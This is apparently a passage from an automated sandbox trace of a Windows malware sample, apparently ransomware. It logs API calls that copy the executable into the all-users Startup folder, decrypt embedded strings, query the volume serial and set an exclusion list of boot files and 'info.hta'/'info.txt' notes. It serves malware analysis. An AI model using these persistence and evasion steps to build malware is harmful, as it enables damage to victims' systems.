menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 0 [0138.468] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5828 | out: hHeap=0x1d0000) returned 1 [0138.468] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d15b0 | out: hHeap=0x1d0000) returned 1 [0138.468] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d51e0 | out: hHeap=0x1d0000) returned 1 [0138.468] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d53f8 | out: hHeap=0x1d0000) returned 1 [0138.469] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5610 | out: hHeap=0x1d0000) returned 1 [0138.469] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0138.469] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1530 | out: hHeap=0x1d0000) returned 1 [0138.470] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d4ff0 | out: hHeap=0x1d0000) returned 1 [0138.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0138.470] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef730*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef798 | out: phKey=0x3ef798*=0x871b20) returned 1 [0138.470] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef780, dwFlags=0x0) returned 1 [0138.470] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x3ef74c | out: pbData=0x1d14a0, pdwDataLen=0x3ef74c) returned 1 [0138.470] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0138.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0138.470] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0138.470] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef708*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef770 | out: phKey=0x3ef770*=0x871b20) returned 1 [0138.470] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef758, dwFlags=0x0) returned 1 [0138.470] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x3ef724 | out: pbData=0x1d1518, pdwDataLen=0x3ef724) returned 1 [0138.470] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.471] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0138.471] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.471] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0138.471] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0138.471] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3ef7d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ef7d8*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.472] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1d14a0 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d14d0 [0138.472] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef714*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef77c | out: phKey=0x3ef77c*=0x871b20) returned 1 [0138.472] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef764, dwFlags=0x0) returned 1 [0138.472] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14d0, pdwDataLen=0x3ef730 | out: pbData=0x1d14d0, pdwDataLen=0x3ef730) returned 1 [0138.472] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x60) returned 0x1d14e8 [0138.472] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef70c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef774 | out: phKey=0x3ef774*=0x871b20) returned 1 [0138.472] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef75c, dwFlags=0x0) returned 1 [0138.472] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14e8, pdwDataLen=0x3ef728 | out: pbData=0x1d14e8, pdwDataLen=0x3ef728) returned 1 [0138.472] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5c) returned 0x1d1550 [0138.472] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1550, Size=0xb6) returned 0x1d1550 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1610 [0138.472] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xb40) returned 0x1d4ff0 [0138.473] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6dc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef744 | out: phKey=0x3ef744*=0x871b20) returned 1 [0138.473] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef72c, dwFlags=0x0) returned 1 [0138.473] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d4ff0, pdwDataLen=0x3ef6f8 | out: pbData=0x1d4ff0, pdwDataLen=0x3ef6f8) returned 1 [0138.473] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x250) returned 0x1d5b38 [0138.473] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef73c | out: phKey=0x3ef73c*=0x871b20) returned 1 [0138.473] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef724, dwFlags=0x0) returned 1 [0138.473] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5b38, pdwDataLen=0x3ef6f0 | out: pbData=0x1d5b38, pdwDataLen=0x3ef6f0) returned 1 [0138.473] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1628 [0138.473] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6ac*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef714 | out: phKey=0x3ef714*=0x871b20) returned 1 [0138.473] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6fc, dwFlags=0x0) returned 1 [0138.473] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1628, pdwDataLen=0x3ef6c8 | out: pbData=0x1d1628, pdwDataLen=0x3ef6c8) returned 1 [0138.473] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x84) returned 0x1d16c0 [0138.473] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x84) returned 0x1d1750 [0138.473] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d5d90 [0138.473] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef684*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef6ec | out: phKey=0x3ef6ec*=0x871b20) returned 1 [0138.473] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6d4, dwFlags=0x0) returned 1 [0138.473] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5d90, pdwDataLen=0x3ef6a0 | out: pbData=0x1d5d90, pdwDataLen=0x3ef6a0) returned 1 [0138.473] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.474] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5d90 | out: hHeap=0x1d0000) returned 1 [0138.474] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x1d16c0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0138.474] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1750 | out: hHeap=0x1d0000) returned 1 [0138.474] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1628 | out: hHeap=0x1d0000) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1750 [0138.474] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef710 | out: phKey=0x3ef710*=0x871b20) returned 1 [0138.474] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6f8, dwFlags=0x0) returned 1 [0138.474] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1750, pdwDataLen=0x3ef6c4 | out: pbData=0x1d1750, pdwDataLen=0x3ef6c4) returned 1 [0138.474] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d1778 [0138.474] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x18) returned 0x1d1798 [0138.474] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1628 [0138.474] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef680*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef6e8 | out: phKey=0x3ef6e8*=0x871b20) returned 1 [0138.475] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6d0, dwFlags=0x0) returned 1 [0138.475] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1628, pdwDataLen=0x3ef69c | out: pbData=0x1d1628, pdwDataLen=0x3ef69c) returned 1 [0138.475] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.475] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1628 | out: hHeap=0x1d0000) returned 1 [0138.475] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x1d1778, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0138.475] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1798 | out: hHeap=0x1d0000) returned 1 [0138.476] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1750 | out: hHeap=0x1d0000) returned 1 [0138.476] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d5d90 [0138.476] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x1d5fa8 [0138.477] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d5fa8, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0138.477] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5fa8 | out: hHeap=0x1d0000) returned 1 [0138.477] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xb38) returned 0x1d5fa8 [0138.477] GetLastError () returned 0x0 [0138.477] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d5fa8, Size=0xd82) returned 0x1d5fa8 [0138.477] GetLastError () returned 0x0 [0138.478] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x86) returned 0x1d1628 [0138.478] GetLastError () returned 0x0 [0138.478] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1628, Size=0x110) returned 0x1d6d38 [0138.478] GetLastError () returned 0x0 [0138.478] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1a) returned 0x1d1750 [0138.478] GetLastError () returned 0x0 [0138.478] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef730*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef798 | out: phKey=0x3ef798*=0x871b20) returned 1 [0138.478] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef780, dwFlags=0x0) returned 1 [0138.478] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1778, pdwDataLen=0x3ef74c | out: pbData=0x1d1778, pdwDataLen=0x3ef74c) returned 1 [0138.478] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.478] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d17a0 [0138.478] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14d0 [0138.478] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1628 [0138.478] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef708*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef770 | out: phKey=0x3ef770*=0x871b20) returned 1 [0138.478] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef758, dwFlags=0x0) returned 1 [0138.478] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1628, pdwDataLen=0x3ef724 | out: pbData=0x1d1628, pdwDataLen=0x3ef724) returned 1 [0138.478] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.479] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1628 | out: hHeap=0x1d0000) returned 1 [0138.479] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d17a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.479] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.479] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1778 | out: hHeap=0x1d0000) returned 1 [0138.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3ef7d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ef7d8*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.479] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d17a0 | out: hHeap=0x1d0000) returned 1 [0138.479] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1d1778 [0138.480] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d17a8 [0138.481] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef714*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef77c | out: phKey=0x3ef77c*=0x871b20) returned 1 [0138.481] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef764, dwFlags=0x0) returned 1 [0138.481] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d17a8, pdwDataLen=0x3ef730 | out: pbData=0x1d17a8, pdwDataLen=0x3ef730) returned 1 [0138.481] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.481] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x60) returned 0x1d14d0 [0138.481] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef70c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef774 | out: phKey=0x3ef774*=0x871b20) returned 1 [0138.481] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef75c, dwFlags=0x0) returned 1 [0138.481] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14d0, pdwDataLen=0x3ef728 | out: pbData=0x1d14d0, pdwDataLen=0x3ef728) returned 1 [0138.481] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.481] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5c) returned 0x1d1628 [0138.481] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d1628, Size=0xb6) returned 0x1d1628 [0138.481] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1538 [0138.481] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xb40) returned 0x1d4ff0 [0138.481] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6dc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef744 | out: phKey=0x3ef744*=0x871b20) returned 1 [0138.481] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef72c, dwFlags=0x0) returned 1 [0138.481] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d4ff0, pdwDataLen=0x3ef6f8 | out: pbData=0x1d4ff0, pdwDataLen=0x3ef6f8) returned 1 [0138.481] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.481] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x250) returned 0x1d5b38 [0138.481] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef73c | out: phKey=0x3ef73c*=0x871b20) returned 1 [0138.482] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef724, dwFlags=0x0) returned 1 [0138.482] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5b38, pdwDataLen=0x3ef6f0 | out: pbData=0x1d5b38, pdwDataLen=0x3ef6f0) returned 1 [0138.482] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.482] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d5d90 [0138.482] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6ac*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef714 | out: phKey=0x3ef714*=0x871b20) returned 1 [0138.482] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6fc, dwFlags=0x0) returned 1 [0138.482] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5d90, pdwDataLen=0x3ef6c8 | out: pbData=0x1d5d90, pdwDataLen=0x3ef6c8) returned 1 [0138.482] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.482] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x84) returned 0x1d5e28 [0138.482] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x84) returned 0x1d5eb8 [0138.482] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.483] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef684*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef6ec | out: phKey=0x3ef6ec*=0x871b20) returned 1 [0138.483] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6d4, dwFlags=0x0) returned 1 [0138.483] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x3ef6a0 | out: pbData=0x1dab88, pdwDataLen=0x3ef6a0) returned 1 [0138.483] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.483] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.528] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x1d5e28, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0138.529] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5eb8 | out: hHeap=0x1d0000) returned 1 [0138.546] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5d90 | out: hHeap=0x1d0000) returned 1 [0138.546] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d16e8 [0138.548] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef6a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef710 | out: phKey=0x3ef710*=0x871b20) returned 1 [0138.548] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6f8, dwFlags=0x0) returned 1 [0138.550] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16e8, pdwDataLen=0x3ef6c4 | out: pbData=0x1d16e8, pdwDataLen=0x3ef6c4) returned 1 [0138.550] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.550] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x18) returned 0x1d17c0 [0138.550] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x18) returned 0x1d1710 [0138.551] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.551] CryptImportKey (in: hProv=0x8450c0, pbData=0x3ef680*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef6e8 | out: phKey=0x3ef6e8*=0x871b20) returned 1 [0138.552] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x3ef6d0, dwFlags=0x0) returned 1 [0138.552] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x3ef69c | out: pbData=0x1dab88, pdwDataLen=0x3ef69c) returned 1 [0138.552] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.553] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.554] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x1d17c0, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0138.554] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1710 | out: hHeap=0x1d0000) returned 1 [0138.556] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16e8 | out: hHeap=0x1d0000) returned 1 [0138.557] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x2166f90 [0138.557] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20a) returned 0x21671a8 [0138.557] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21671a8, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0138.557] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21671a8 | out: hHeap=0x1d0000) returned 1 [0138.557] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xb38) returned 0x21671a8 [0138.557] GetLastError () returned 0x0 [0138.557] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x1d5d90, Size=0x110) returned 0x1dcb70 [0138.558] GetLastError () returned 0x0 [0138.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad1f96, lpParameter=0x3ef870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0 [0138.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad1e5c, lpParameter=0x3ef860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0138.559] WaitForMultipleObjects (nCount=0x3, lpHandles=0x3ef814*=0x90, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 112 os_tid = 0x798 [0133.008] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0133.008] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8454d8) returned 1 [0133.008] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0133.008] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x20df6a4 | out: pbData=0x1d14a0, pdwDataLen=0x20df6a4) returned 1 [0133.008] CryptDestroyKey (hKey=0x8454d8) returned 1 [0133.008] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0133.008] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0133.008] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0133.008] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8454d8) returned 1 [0133.008] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0133.008] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x20df67c | out: pbData=0x1d1518, pdwDataLen=0x20df67c) returned 1 [0133.009] CryptDestroyKey (hKey=0x8454d8) returned 1 [0133.009] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0133.009] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.009] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0133.009] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0133.009] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.010] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0133.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 